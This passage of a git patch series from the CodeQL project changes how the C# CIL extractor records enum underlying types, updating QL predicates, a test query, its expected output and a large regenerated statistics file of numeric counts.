System.Reflection.Emit.StackBehaviour | int | | System.Reflection.Emit.TypeKind | int | | System.Reflection.Emit.TypeNameBuilder.Format | int | @@ -141,9 +141,9 @@ | System.Reflection.ExceptionHandlingClauseOptions | int | | System.Reflection.FieldAttributes | int | | System.Reflection.GenericParameterAttributes | int | -| System.Reflection.INVOCATION_FLAGS | int | +| System.Reflection.INVOCATION_FLAGS | uint | | System.Reflection.ImageFileMachine | int | -| System.Reflection.MdSigCallingConvention | int | +| System.Reflection.MdSigCallingConvention | byte | | System.Reflection.MemberTypes | int | | System.Reflection.MetadataTokenType | int | | System.Reflection.MethodAttributes | int | @@ -175,17 +175,17 @@ | System.Runtime.InteropServices.ComMemberType | int | | System.Runtime.InteropServices.ComTypes.CALLCONV | int | | System.Runtime.InteropServices.ComTypes.DESCKIND | int | -| System.Runtime.InteropServices.ComTypes.FUNCFLAGS | int | +| System.Runtime.InteropServices.ComTypes.FUNCFLAGS | short | | System.Runtime.InteropServices.ComTypes.FUNCKIND | int | -| System.Runtime.InteropServices.ComTypes.IDLFLAG | int | +| System.Runtime.InteropServices.ComTypes.IDLFLAG | short | | System.Runtime.InteropServices.ComTypes.IMPLTYPEFLAGS | int | | System.Runtime.InteropServices.ComTypes.INVOKEKIND | int | -| System.Runtime.InteropServices.ComTypes.LIBFLAGS | int | -| System.Runtime.InteropServices.ComTypes.PARAMFLAG | int | +| System.Runtime.InteropServices.ComTypes.LIBFLAGS | short | +| System.Runtime.InteropServices.ComTypes.PARAMFLAG | short | | System.Runtime.InteropServices.ComTypes.SYSKIND | int | -| System.Runtime.InteropServices.ComTypes.TYPEFLAGS | int | +| System.Runtime.InteropServices.ComTypes.TYPEFLAGS | short | | System.Runtime.InteropServices.ComTypes.TYPEKIND | int | -| System.Runtime.InteropServices.ComTypes.VARFLAGS | int | +| System.Runtime.InteropServices.ComTypes.VARFLAGS | short | | System.Runtime.InteropServices.ComTypes.VARKIND | int | | System.Runtime.InteropServices.CustomQueryInterfaceMode | int | | System.Runtime.InteropServices.CustomQueryInterfaceResult | int | @@ -194,7 +194,7 @@ | System.Runtime.InteropServices.LayoutKind | int | | System.Runtime.InteropServices.UnmanagedType | int | | System.Runtime.InteropServices.VarEnum | int | -| System.Runtime.Intrinsics.X86.FloatComparisonMode | int | +| System.Runtime.Intrinsics.X86.FloatComparisonMode | byte | | System.Runtime.Loader.AssemblyLoadContext.InternalState | int | | System.Runtime.Serialization.StreamingContextStates | int | | System.RuntimeType.MemberListType | int | @@ -203,7 +203,7 @@ | System.Security.Permissions.PermissionState | int | | System.Security.Principal.PrincipalPolicy | int | | System.Security.SecurityCriticalScope | int | -| System.Security.SecurityRuleSet | int | +| System.Security.SecurityRuleSet | byte | | System.String.TrimType | int | | System.StringComparison | int | | System.StringSplitOptions | int | @@ -217,9 +217,9 @@ | System.Threading.LockRecursionPolicy | int | | System.Threading.ReaderWriterLockSlim.EnterLockType | int | | System.Threading.ReaderWriterLockSlim.EnterSpinLockReason | int | -| System.Threading.ReaderWriterLockSlim.WaiterStates | int | +| System.Threading.ReaderWriterLockSlim.WaiterStates | byte | | System.Threading.StackCrawlMark | int | -| System.Threading.Tasks.ConcurrentExclusiveSchedulerPair.ProcessingMode | int | +| System.Threading.Tasks.ConcurrentExclusiveSchedulerPair.ProcessingMode | byte | | System.Threading.Tasks.InternalTaskOptions | int | | System.Threading.Tasks.Sources.ValueTaskSourceOnCompletedFlags | int | | System.Threading.Tasks.Sources.ValueTaskSourceStatus | int | @@ -231,7 +231,7 @@ | System.Threading.ThreadState | int | | System.Threading.WaitHandle.OpenExistingResult | int | | System.TimeZoneInfo.StringSerializer.State | int | -| System.TimeZoneInfo.TZVersion | int | +| System.TimeZoneInfo.TZVersion | byte | | System.TimeZoneInfo.TimeZoneInfoResult | int | | System.TimeZoneInfoOptions | int | | System.TokenType | int | From 44dfafc52ce8fa36c069b5daf4489dfe9250371e Mon Sep 17 00:00:00 2001 From: Tamas Vajk Date: Wed, 2 Dec 2020 10:05:45 +0100 Subject: [PATCH 0195/1241] C#: remove 'System.Enum' from enums in QL --- csharp/ql/src/semmle/code/cil/Type.qll | 2 +- csharp/ql/test/library-tests/cil/enums/enums.expected | 1 - 2 files changed, 1 insertion(+), 2 deletions(-) diff --git a/csharp/ql/src/semmle/code/cil/Type.qll b/csharp/ql/src/semmle/code/cil/Type.qll index a69b5392e06..d4a7161b772 100644 --- a/csharp/ql/src/semmle/code/cil/Type.qll +++ b/csharp/ql/src/semmle/code/cil/Type.qll @@ -79,7 +79,7 @@ class Type extends DotNet::Type, Declaration, TypeContainer, @cil_type { } /** Holds if this type is an `enum`. */ - predicate isEnum() { this.getBaseClass*().isSystemType("Enum") } + predicate isEnum() { this.getBaseClass().isSystemType("Enum") } /** Holds if this type is public. */ predicate isPublic() { cil_public(this) } diff --git a/csharp/ql/test/library-tests/cil/enums/enums.expected b/csharp/ql/test/library-tests/cil/enums/enums.expected index ce2576e3756..dd2907bc5d5 100644 --- a/csharp/ql/test/library-tests/cil/enums/enums.expected +++ b/csharp/ql/test/library-tests/cil/enums/enums.expected @@ -63,7 +63,6 @@ | System.Diagnostics.Tracing.EventTask | int | | System.Diagnostics.Tracing.ManifestEnvelope.ManifestFormats | byte | | System.Diagnostics.Tracing.TraceLoggingDataType | int | -| System.Enum | int | | System.Environment.SpecialFolder | int | | System.Environment.SpecialFolderOption | int | | System.EnvironmentVariableTarget | int | From 214cc90af5ff4b422c9f885dafa9736e323dc285 Mon Sep 17 00:00:00 2001 From: Tamas Vajk Date: Mon, 7 Dec 2020 14:31:05 +0100 Subject: [PATCH 0196/1241] Fix failing test --- csharp/ql/test/library-tests/cil/enums/enums.ql | 1 + 1 file changed, 1 insertion(+) diff --git a/csharp/ql/test/library-tests/cil/enums/enums.ql b/csharp/ql/test/library-tests/cil/enums/enums.ql index 1776f42f145..280bee49921 100644 --- a/csharp/ql/test/library-tests/cil/enums/enums.ql +++ b/csharp/ql/test/library-tests/cil/enums/enums.ql @@ -1,4 +1,5 @@ import semmle.code.cil.Types from Enum e +where e.getQualifiedName() != "Interop.Sys.LockType" // doesn't exist on osx select e.getQualifiedName(), e.getUnderlyingType().toStringWithTypes() From 6dd0234b68abd01a46b9b0cfc2d27159e4fe2a25 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Tam=C3=A1s=20Vajk?= Date: Tue, 8 Dec 2020 12:53:32 +0100 Subject: [PATCH 0197/1241] Apply suggestions from code review Co-authored-by: Tom Hvitved --- .../Semmle.Extraction.CIL/Entities/TypeDefinitionType.cs | 2 +- csharp/ql/src/semmle/code/cil/Types.qll | 4 ++-- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/csharp/extractor/Semmle.Extraction.CIL/Entities/TypeDefinitionType.cs b/csharp/extractor/Semmle.Extraction.CIL/Entities/TypeDefinitionType.cs index c848eae0c3c..ef01a2349ca 100644 --- a/csharp/extractor/Semmle.Extraction.CIL/Entities/TypeDefinitionType.cs +++ b/csharp/extractor/Semmle.Extraction.CIL/Entities/TypeDefinitionType.cs @@ -271,7 +271,7 @@ namespace Semmle.Extraction.CIL.Entities foreach (var handle in td.GetFields()) { var field = Cx.MdReader.GetFieldDefinition(handle); - if ((field.Attributes & FieldAttributes.Static) != 0) + if (field.Attributes.HasFlag(FieldAttributes.Static)) { continue; } diff --git a/csharp/ql/src/semmle/code/cil/Types.qll b/csharp/ql/src/semmle/code/cil/Types.qll index c8e850baae3..5a106eeb0cb 100644 --- a/csharp/ql/src/semmle/code/cil/Types.qll +++ b/csharp/ql/src/semmle/code/cil/Types.qll @@ -50,8 +50,8 @@ class Enum extends ValueOrRefType { override IntegralType getUnderlyingType() { cil_enum_underlying_type(this, result) or - not exists(IntegralType underlying | cil_enum_underlying_type(this, underlying)) and - result = any(IntType i) + not cil_enum_underlying_type(this, _) and + result instanceof IntType } } From 52a73cb21b8bafff6100fbfd72a542d0c6637623 Mon Sep 17 00:00:00 2001 From: Tamas Vajk Date: Tue, 8 Dec 2020 13:24:19 +0100 Subject: [PATCH 0198/1241] Add new stats containing 'cil_enum_underlying_type' --- .../ql/src/semmlecode.csharp.dbscheme.stats | 6196 +++++++++-------- 1 file changed, 3137 insertions(+), 3059 deletions(-) diff --git a/csharp/ql/src/semmlecode.csharp.dbscheme.stats b/csharp/ql/src/semmlecode.csharp.dbscheme.stats index a6f074f11ef..ed40bf17672 100644 --- a/csharp/ql/src/semmlecode.csharp.dbscheme.stats +++ b/csharp/ql/src/semmlecode.csharp.dbscheme.stats @@ -1,7 +1,7 @@ @compilation -1097 +1096 @diagnostic @@ -25,7 +25,7 @@ @duplication -22778 +22738 @similarity @@ -33,31 +33,31 @@ @location_default -14663251 +14069317 @assembly -4206 +4198 @file -42545 +42471 @folder -16961 +16932 @namespace -21982 +21944 @namespace_declaration -19796 +19762 @using_namespace_directive -144521 +144270 @using_static_directive @@ -117,23 +117,23 @@ @enum_type -11974 +11953 @struct_type -49758 +49671 @class_type -305667 +305136 @interface_type -178444 +178134 @delegate_type -107767 +107580 @null_type @@ -141,7 +141,7 @@ @type_parameter -202974 +202622 @pointer_type @@ -153,7 +153,7 @@ @array_type -9139 +9123 @void_type @@ -165,7 +165,7 @@ @tuple_type -1785 +1782 @uint_ptr_type @@ -185,23 +185,23 @@ @typeref -235229 +234820 @attribute -750664 +749360 @type_mention -1269646 +1267440 @oblivious -1317 +1315 @not_annotated -619 +618 @annotated @@ -209,7 +209,7 @@ @type_parameter_constraints -611920 +610857 @modifier @@ -217,47 +217,47 @@ @property -424316 +423579 @indexer -17073 +17044 @getter -441156 +440390 @setter -127764 +127542 @event -15258 +15232 @add_event_accessor -15258 +15232 @remove_event_accessor -15258 +15232 @operator -12433 +12411 @method -1118708 +1116765 @constructor -278155 +277672 @destructor -444 +443 @local_function @@ -265,15 +265,15 @@ @addressable_field -371157 +370512 @constant -185559 +185236 @addressable_local_variable -162436 +162439 @local_constant @@ -281,71 +281,71 @@ @local_variable_ref -259 +258 @parameter -2421931 +2417724 @block_stmt -308619 +308083 @expr_stmt -367893 +367253 @return_stmt -96209 +96042 @using_block_stmt -1142 +1140 @var_decl_stmt -147906 +147910 @if_stmt -119191 +118984 @switch_stmt -3049 +3044 @while_stmt -4544 +4537 @do_stmt -1000 +999 @for_stmt -6967 +6955 @foreach_stmt -5362 +5353 @break_stmt -10915 +10896 @continue_stmt -2187 +2184 @goto_stmt -2700 +2695 @goto_case_stmt -348 +347 @goto_default_stmt @@ -353,7 +353,7 @@ @throw_stmt -74348 +74219 @yield_stmt @@ -361,7 +361,7 @@ @try_stmt -4325 +4318 @checked_stmt @@ -373,7 +373,7 @@ @lock_stmt -1660 +1657 @const_decl_stmt @@ -389,19 +389,19 @@ @fixed_stmt -1126 +1124 @label_stmt -1009 +1007 @catch -3440 +3434 @case_stmt -22449 +22410 @local_function_stmt @@ -413,79 +413,79 @@ @bool_literal_expr -69538 +69417 @int_literal_expr -759312 +754355 @long_literal_expr -325 +324 @double_literal_expr -854 +853 @string_literal_expr -412522 +411805 @null_literal_expr -107828 +107640 @local_variable_access_expr -524139 +524142 @parameter_access_expr -357629 +357008 @field_access_expr -460484 +459684 @property_access_expr -359773 +359148 @type_access_expr -346431 +346329 @typeof_expr -30103 +30050 @method_invocation_expr -547923 +547931 @cast_expr -262926 +262469 @object_creation_expr -62884 +62775 @array_creation_expr -180015 +179091 @array_init_expr -179843 +178920 @local_var_decl_expr -163740 +163743 @char_literal_expr -15901 +15874 @decimal_literal_expr @@ -493,11 +493,11 @@ @uint_literal_expr -2368 +2363 @ulong_literal_expr -382 +381 @float_literal_expr @@ -505,11 +505,11 @@ @this_access_expr -592919 +591889 @base_access_expr -2822 +2817 @method_access_expr @@ -517,19 +517,19 @@ @event_access_expr -431 +430 @indexer_access_expr -30815 +30761 @array_access_expr -19754 +19719 @delegate_invocation_expr -2140 +2136 @operator_invocation_expr @@ -537,15 +537,15 @@ @explicit_delegate_creation_expr -668 +667 @implicit_delegate_creation_expr -5118 +5109 @default_expr -6360 +6349 @plus_expr @@ -553,27 +553,27 @@ @minus_expr -7145 +7133 @bit_not_expr -741 +740 @log_not_expr -26433 +26387 @post_incr_expr -12569 +12547 @post_decr_expr -1739 +1736 @pre_incr_expr -1274 +1272 @pre_decr_expr @@ -581,95 +581,95 @@ @mul_expr -4627 +4619 @div_expr -1818 +1815 @rem_expr -717 +715 @add_expr -27889 +27841 @sub_expr -12846 +12823 @lshift_expr -4050 +4043 @rshift_expr -1765 +1762 @lt_expr -16301 +16273 @gt_expr -9590 +9573 @le_expr -3898 +3891 @ge_expr -6284 +6273 @eq_expr -53933 +53839 @ne_expr -37965 +37899 @bit_and_expr -6332 +6321 @bit_xor_expr -536 +535 @bit_or_expr -14993 +14967 @log_and_expr -20839 +20802 @log_or_expr -14084 +14059 @is_expr -6720 +6709 @as_expr -2760 +2755 @null_coalescing_expr -3684 +3677 @conditional_expr -9158 +9142 @simple_assign_expr -167514 +167223 @assign_add_expr @@ -677,7 +677,7 @@ @assign_sub_expr -1017 +1016 @assign_mul_expr @@ -693,7 +693,7 @@ @assign_and_expr -343 +342 @assign_xor_expr @@ -701,7 +701,7 @@ @assign_or_expr -1392 +1390 @assign_lshift_expr @@ -713,23 +713,23 @@ @object_init_expr -7700 +7686 @collection_init_expr -595 +594 @checked_expr -327 +326 @unchecked_expr -1422 +1419 @constructor_init_expr -5822 +5812 @add_event_expr @@ -745,7 +745,7 @@ @lambda_expr -48860 +48775 @anonymous_method_expr @@ -761,31 +761,31 @@ @dynamic_member_access_expr -6855 +6844 @pointer_indirection_expr -4060 +4053 @address_of_expr -1251 +1249 @sizeof_expr -1040 +1039 @await_expr -54852 +54757 @nameof_expr -15938 +15910 @interpolated_string_expr -3036 +3038 @unknown_expr @@ -793,7 +793,7 @@ @throw_expr -1543 +1541 @tuple_expr @@ -805,7 +805,7 @@ @ref_expr -563 +562 @discard_expr @@ -821,7 +821,7 @@ @switch_expr -518 +517 @recursive_pattern_expr @@ -837,15 +837,15 @@ @switch_case_expr -4352 +4345 @assign_coalesce_expr -544 +543 @suppress_nullable_warning_expr -14409 +14384 @namespace_access_expr @@ -877,19 +877,19 @@ @singlelinecomment -184760 +184439 @multilinecomment -22112 +22074 @xmldoccomment -203757 +203403 @commentblock -144330 +144079 @asp_close_tag @@ -929,7 +929,7 @@ @cil_nop -820445 +819020 @cil_break @@ -937,147 +937,147 @@ @cil_ldarg_0 -3977043 +3970135 @cil_ldarg_1 -1217214 +1215099 @cil_ldarg_2 -444079 +443307 @cil_ldarg_3 -209259 +208896 @cil_ldloc_0 -929679 +928064 @cil_ldloc_1 -494149 +493291 @cil_ldloc_2 -288852 +288350 @cil_ldloc_3 -192146 +191813 @cil_stloc_0 -525203 +524291 @cil_stloc_1 -260628 +260175 @cil_stloc_2 -198402 +198057 @cil_stloc_3 -138363 +138122 @cil_ldarg_s -264639 +264179 @cil_ldarga_s -74805 +74675 @cil_starg_s -37192 +37128 @cil_ldloc_s -686691 +685498 @cil_ldloca_s -629540 +628447 @cil_stloc_s -481072 +480236 @cil_ldnull -604005 +602956 @cil_ldc_i4_m1 -126261 +126042 @cil_ldc_i4_0 -625881 +624794 @cil_ldc_i4_1 -494891 +494031 @cil_ldc_i4_2 -121089 +120878 @cil_ldc_i4_3 -64182 +64070 @cil_ldc_i4_4 -58907 +58805 @cil_ldc_i4_5 -38700 +38633 @cil_ldc_i4_6 -23276 +23235 @cil_ldc_i4_7 -20762 +20726 @cil_ldc_i4_8 -33498 +33440 @cil_ldc_i4_s -423535 +422800 @cil_ldc_i4 -511096 +510208 @cil_ldc_i8 -4889 +4880 @cil_ldc_r4 -10266 +10248 @cil_ldc_r8 -10335 +10317 @cil_dup -842592 +841128 @cil_pop -256587 +256142 @cil_jmp @@ -1085,7 +1085,7 @@ @cil_call -2743121 +2738356 @cil_calli @@ -1093,95 +1093,95 @@ @cil_ret -1787525 +1784420 @cil_br_s -346027 +345426 @cil_brfalse_s -466247 +465437 @cil_brtrue_s -430967 +430219 @cil_beq_s -82310 +82167 @cil_bge_s -34948 +34887 @cil_bgt_s -16507 +16479 @cil_ble_s -29219 +29168 @cil_blt_s -60971 +60865 @cil_bne_un_s -102721 +102543 @cil_bge_un_s -2186 +2182 @cil_bgt_un_s -8739 +8724 @cil_ble_un_s -6123 +6113 @cil_blt_un_s -1468 +1466 @cil_br -96217 +96050 @cil_brfalse -32415 +32359 @cil_brtrue -27350 +27303 @cil_beq -21524 +21486 @cil_bge -1390 +1388 @cil_bgt -1463 +1461 @cil_ble -4645 +4637 @cil_blt -7939 +7925 @cil_bne_un -7241 +7228 @cil_bge_un @@ -1189,11 +1189,11 @@ @cil_bgt_un -692 +691 @cil_ble_un -1102 +1100 @cil_blt_un @@ -1201,7 +1201,7 @@ @cil_switch -23895 +23854 @cil_ldind_i1 @@ -1209,27 +1209,27 @@ @cil_ldind_u1 -5514 +5504 @cil_ldind_i2 -512 +511 @cil_ldind_u2 -2445 +2441 @cil_ldind_i4 -9783 +9766 @cil_ldind_u4 -1483 +1480 @cil_ldind_i8 -1971 +1967 @cil_ldind_i @@ -1237,7 +1237,7 @@ @cil_ldind_r4 -702 +701 @cil_ldind_r8 @@ -1245,27 +1245,27 @@ @cil_ldind_ref -6660 +6649 @cil_stind_ref -16947 +16917 @cil_stind_i1 -8529 +8514 @cil_stind_i2 -1377 +1374 @cil_stind_i4 -10369 +10351 @cil_stind_i8 -2347 +2343 @cil_stind_r4 @@ -1277,19 +1277,19 @@ @cil_add -224128 +223738 @cil_sub -85340 +85192 @cil_mul -29970 +29918 @cil_div -9129 +9114 @cil_div_un @@ -1297,79 +1297,79 @@ @cil_rem -3410 +3404 @cil_rem_un -229 +228 @cil_and -59375 +59272 @cil_or -22163 +22124 @cil_xor -22729 +22690 @cil_shl -18981 +18948 @cil_shr -9183 +9167 @cil_shr_un -26125 +26080 @cil_neg -2337 +2333 @cil_not -1459 +1456 @cil_conv_i1 -1385 +1383 @cil_conv_i2 -1449 +1446 @cil_conv_i4 -59819 +59715 @cil_conv_i8 -50324 +50236 @cil_conv_r4 -2469 +2464 @cil_conv_r8 -5284 +5275 @cil_conv_u4 -7836 +7823 @cil_conv_u8 -19557 +19523 @cil_callvirt -2051813 +2048249 @cil_cpobj @@ -1377,23 +1377,23 @@ @cil_ldobj -12662 +12640 @cil_ldstr -927381 +925770 @cil_newobj -657521 +656378 @cil_castclass -97134 +96965 @cil_isinst -56487 +56388 @cil_conv_r_un @@ -1405,35 +1405,35 @@ @cil_throw -381487 +380825 @cil_ldfld -1677845 +1674930 @cil_ldflda -300909 +300387 @cil_stfld -1073830 +1071964 @cil_ldsfld -407618 +406910 @cil_ldsflda -2532 +2528 @cil_stsfld -131009 +130781 @cil_stobj -7026 +7014 @cil_conv_ovf_i1_un @@ -1477,19 +1477,19 @@ @cil_box -79894 +79756 @cil_newarr -112188 +111993 @cil_ldlen -55369 +55273 @cil_ldelema -9876 +9859 @cil_ldelem_i1 @@ -1497,27 +1497,27 @@ @cil_ldelem_u1 -15585 +15558 @cil_ldelem_i2 -429 +428 @cil_ldelem_u2 -6094 +6084 @cil_ldelem_i4 -17596 +17565 @cil_ldelem_u4 -19128 +19095 @cil_ldelem_i8 -11930 +11910 @cil_ldelem_i @@ -1525,15 +1525,15 @@ @cil_ldelem_r4 -283 +282 @cil_ldelem_r8 -458 +457 @cil_ldelem_ref -30722 +30669 @cil_stelem_i @@ -1541,43 +1541,43 @@ @cil_stelem_i1 -8798 +8782 @cil_stelem_i2 -8993 +8977 @cil_stelem_i4 -22841 +22802 @cil_stelem_i8 -9432 +9416 @cil_stelem_r4 -200 +199 @cil_stelem_r8 -478 +477 @cil_stelem_ref -363198 +362567 @cil_ldelem -2278 +2274 @cil_stelem -53656 +53563 @cil_unbox_any -14399 +14374 @cil_conv_ovf_i1 @@ -1589,7 +1589,7 @@ @cil_conv_ovf_i2 -78 +77 @cil_conv_ovf_u2 @@ -1601,7 +1601,7 @@ @cil_conv_ovf_u4 -78 +77 @cil_conv_ovf_i8 @@ -1625,23 +1625,23 @@ @cil_ldtoken -71365 +71241 @cil_conv_u2 -4342 +4335 @cil_conv_u1 -11267 +11247 @cil_conv_i -3664 +3658 @cil_conv_ovf_i -268 +267 @cil_conv_ovf_u @@ -1649,7 +1649,7 @@ @cil_add_ovf -1732 +1729 @cil_add_ovf_un @@ -1657,7 +1657,7 @@ @cil_mul_ovf -444 +443 @cil_mul_ovf_un @@ -1665,7 +1665,7 @@ @cil_sub_ovf -1112 +1110 @cil_sub_ovf_un @@ -1673,15 +1673,15 @@ @cil_endfinally -56940 +56841 @cil_leave -66910 +66793 @cil_leave_s -149449 +149190 @cil_stind_i @@ -1689,7 +1689,7 @@ @cil_conv_u -5812 +5802 @cil_arglist @@ -1697,31 +1697,31 @@ @cil_ceq -97037 +96868 @cil_cgt -11574 +11554 @cil_cgt_un -36733 +36669 @cil_clt -19535 +19501 @cil_clt_un -1314 +1312 @cil_ldftn -79987 +79848 @cil_ldvirtftn -1112 +1110 @cil_ldarg @@ -1749,11 +1749,11 @@ @cil_localloc -978 +977 @cil_endfilter -810 +808 @cil_unaligned @@ -1761,7 +1761,7 @@ @cil_volatile -8544 +8529 @cil_tail @@ -1769,11 +1769,11 @@ @cil_initobj -101848 +101671 @cil_constrained -25330 +25286 @cil_cpblk @@ -1785,11 +1785,11 @@ @cil_rethrow -3771 +3765 @cil_sizeof -1732 +1729 @cil_refanytype @@ -1801,80 +1801,80 @@ @cil_valueorreftype -596320 +595284 @cil_typeparameter -185095 +184774 @cil_array_type -14194 +14170 @cil_pointer_type -624 +623 @cil_method -2315906 +2311883 @cil_method_implementation -1728901 +1725898 @cil_field -1010179 +1008424 @cil_parameter -4554714 +4546802 @cil_property -380599 +379938 @cil_event -20880 +20843 @cil_local_variable -1152739 +1150736 @cil_catch_handler -43887 +43811 @cil_filter_handler -810 +808 @cil_finally_handler -55467 +55370 @cil_fault_handler -1473 +1471 @cil_attribute -328870 +328299 compilations -1097 +1096 id -1097 +1096 cwd -785 +784 @@ -1888,7 +1888,7 @@ 1 2 -1097 +1096 @@ -1904,12 +1904,12 @@ 1 2 -473 +472 2 3 -312 +311 @@ -1919,11 +1919,11 @@ compilation_args -4938 +4481 id -1097 +1096 num @@ -1931,7 +1931,7 @@ arg -1122 +1120 @@ -1945,12 +1945,12 @@ 4 5 -551 +998 5 6 -546 +97 @@ -1966,12 +1966,12 @@ 4 5 -551 +998 5 6 -546 +97 @@ -1985,8 +1985,8 @@ 12 -112 -113 +20 +21 4 @@ -2011,13 +2011,13 @@ 14 -112 -113 +20 +21 4 -114 -115 +206 +207 4 @@ -2034,10 +2034,10 @@ 1 2 -1097 +1096 -112 +20 226 24 @@ -2055,7 +2055,7 @@ 1 2 -1112 +1110 2 @@ -2070,19 +2070,19 @@ compilation_compiling_files -22627 +22587 id -1097 +1096 num -712 +711 file -22622 +22582 @@ -2288,7 +2288,7 @@ 11 12 -78 +77 12 @@ -2369,7 +2369,7 @@ 11 12 -78 +77 12 @@ -2420,7 +2420,7 @@ 1 2 -22617 +22577 2 @@ -2441,7 +2441,7 @@ 1 2 -22617 +22577 2 @@ -2456,19 +2456,19 @@ compilation_referencing_files -359929 +359304 id -1097 +1096 num -2747 +2742 file -3420 +3414 @@ -2542,7 +2542,7 @@ 369 564 -39 +38 @@ -2618,7 +2618,7 @@ 369 564 -39 +38 @@ -2644,7 +2644,7 @@ 7 8 -697 +696 8 @@ -2659,12 +2659,12 @@ 222 223 -639 +638 224 225 -712 +711 225 @@ -2690,57 +2690,57 @@ 4 6 -131 +87 6 7 -575 +608 7 -22 +20 +233 + + +20 +25 253 -22 -28 -219 +25 +30 +180 -28 -33 -224 - - -33 -42 -229 - - -42 -54 +30 +35 214 -54 -62 -170 +35 +45 +219 -62 -64 -175 +46 +57 +189 -64 -66 -175 +57 +59 +185 -66 -73 -156 +59 +61 +224 + + +61 +65 +126 @@ -2756,7 +2756,7 @@ 1 2 -527 +526 2 @@ -2771,12 +2771,12 @@ 7 8 -317 +316 8 10 -278 +277 10 @@ -2801,12 +2801,12 @@ 222 223 -483 +482 224 225 -717 +716 @@ -2822,7 +2822,7 @@ 1 2 -561 +560 2 @@ -2832,57 +2832,52 @@ 5 6 -136 +165 6 7 -336 +326 7 -11 -287 - - -11 -20 -273 - - -20 -24 -268 - - -24 -29 -268 - - -29 -44 +10 258 -44 +10 +18 +292 + + +18 +22 +282 + + +22 +26 +258 + + +26 +43 +263 + + +45 +60 +282 + + +60 64 -239 +214 64 -68 -268 - - -68 -76 -258 - - -76 -77 -4 +73 +253 @@ -2892,11 +2887,11 @@ compilation_time -7685 +7672 id -1097 +1096 num @@ -2908,7 +2903,7 @@ seconds -5504 +5392 @@ -2922,7 +2917,7 @@ 1 2 -1097 +1096 @@ -2938,7 +2933,7 @@ 7 8 -1097 +1096 @@ -2954,12 +2949,12 @@ 6 7 -4 +9 7 8 -1093 +1086 @@ -3005,8 +3000,8 @@ 12 -1128 -1129 +1107 +1108 4 @@ -3053,23 +3048,23 @@ 12 -148 -149 +153 +154 4 -151 -152 +156 +157 4 -173 -174 +168 +169 4 -179 -180 +178 +179 4 @@ -3091,21 +3086,21 @@ 1 2 -4411 +4286 2 3 -483 +496 3 5 -468 +467 5 -8 +9 141 @@ -3122,7 +3117,7 @@ 1 2 -5504 +5392 @@ -3138,17 +3133,17 @@ 1 2 -4699 +4491 2 3 -648 +735 3 5 -156 +165 @@ -4419,7 +4414,7 @@ stack_trace -312 +257 @@ -4647,8 +4642,8 @@ 2 -311 -312 +256 +257 1 @@ -4743,8 +4738,8 @@ 12 -312 -313 +257 +258 1 @@ -4871,17 +4866,17 @@ 1 2 -216 +157 2 3 -202 +256 3 -181 -23 +135 +28 @@ -5007,12 +5002,12 @@ 1 2 -5365 +5364 2 -14 -397 +15 +398 @@ -5137,7 +5132,7 @@ 2 -9 +8 443 @@ -5154,52 +5149,57 @@ 1 2 -84 +65 2 3 -46 +40 3 4 -25 +16 4 5 -17 +13 5 -7 -24 +6 +12 -7 -11 -28 +6 +8 +20 -11 -27 -26 +8 +12 +19 -27 -59 -24 +12 +25 +20 -59 -200 -24 +28 +60 +20 -205 -750 -14 +65 +241 +20 + + +257 +1074 +12 @@ -5215,7 +5215,7 @@ 1 2 -311 +256 2 @@ -5236,7 +5236,7 @@ 1 2 -312 +257 @@ -5252,12 +5252,17 @@ 1 2 -293 +235 2 -171 -19 +113 +20 + + +122 +164 +2 @@ -5273,47 +5278,52 @@ 1 2 -105 +83 2 3 -44 +41 3 4 -26 +22 4 5 -16 +11 5 -7 -28 +6 +16 -7 -12 -24 +6 +9 +20 -12 -25 -24 +9 +20 +20 -25 -63 -24 +20 +54 +20 -67 -603 -21 +54 +273 +20 + + +339 +873 +4 @@ -5329,47 +5339,52 @@ 1 2 -99 +78 2 3 -42 +38 3 4 -28 +18 4 -6 -28 +5 +13 -6 -10 -26 +5 +7 +23 -10 -20 -26 +7 +11 +21 -20 -52 -25 +11 +22 +20 -52 -120 -24 +24 +66 +20 -130 -750 -14 +71 +298 +20 + + +329 +1074 +6 @@ -5379,19 +5394,19 @@ compilation_finished -1097 +1096 id -1097 +1096 cpu_seconds -961 +940 elapsed_seconds -1097 +1096 @@ -5405,7 +5420,7 @@ 1 2 -1097 +1096 @@ -5421,7 +5436,7 @@ 1 2 -1097 +1096 @@ -5437,17 +5452,17 @@ 1 2 -844 +813 2 3 -102 +107 3 -5 -14 +6 +19 @@ -5463,17 +5478,17 @@ 1 2 -844 +813 2 3 -102 +107 3 -5 -14 +6 +19 @@ -5489,7 +5504,7 @@ 1 2 -1097 +1096 @@ -5505,7 +5520,7 @@ 1 2 -1097 +1096 @@ -6167,19 +6182,19 @@ duplicateCode -22778 +22738 id -22778 +22738 relativePath -3811 +3804 equivClass -7021 +7009 @@ -6193,7 +6208,7 @@ 1 2 -22778 +22738 @@ -6209,7 +6224,7 @@ 1 2 -22778 +22738 @@ -6225,17 +6240,17 @@ 1 2 -1063 +1061 2 3 -566 +565 3 4 -424 +423 4 @@ -6255,12 +6270,12 @@ 8 10 -278 +277 10 14 -317 +316 14 @@ -6286,27 +6301,27 @@ 1 2 -1132 +1130 2 3 -522 +521 3 4 -444 +443 4 5 -234 +233 5 6 -229 +228 6 @@ -6316,12 +6331,12 @@ 8 10 -278 +277 10 14 -312 +311 14 @@ -6331,7 +6346,7 @@ 33 45 -39 +38 @@ -6347,32 +6362,32 @@ 2 3 -3771 +3765 3 4 -1146 +1144 4 5 -785 +784 5 6 -429 +428 6 8 -570 +569 8 11 -317 +316 @@ -6388,32 +6403,32 @@ 1 2 -678 +677 2 3 -3445 +3439 3 4 -1078 +1076 4 5 -678 +677 5 6 -385 +384 6 9 -580 +579 9 @@ -8496,11 +8511,11 @@ locations_default -14663251 +14069317 id -14663251 +14069317 file @@ -8534,7 +8549,7 @@ 1 2 -14663251 +14069317 @@ -8550,7 +8565,7 @@ 1 2 -14663251 +14069317 @@ -8566,7 +8581,7 @@ 1 2 -14663251 +14069317 @@ -8582,7 +8597,7 @@ 1 2 -14663251 +14069317 @@ -8598,7 +8613,7 @@ 1 2 -14663251 +14069317 @@ -8613,73 +8628,73 @@ 1 -20 -479 - - -20 -37 +19 491 -37 -57 +19 +34 +470 + + +34 +50 +494 + + +50 +74 471 -57 -81 +74 +106 +470 + + +106 +150 +476 + + +150 +209 +469 + + +209 +297 471 -81 -110 -479 - - -110 -154 -474 - - -154 -214 -471 - - -214 -301 +297 +447 468 -301 -451 -471 - - -451 -706 -471 - - -706 -1217 +447 +694 468 -1217 -2770 +694 +1207 468 -2775 -44373 -488 +1207 +2692 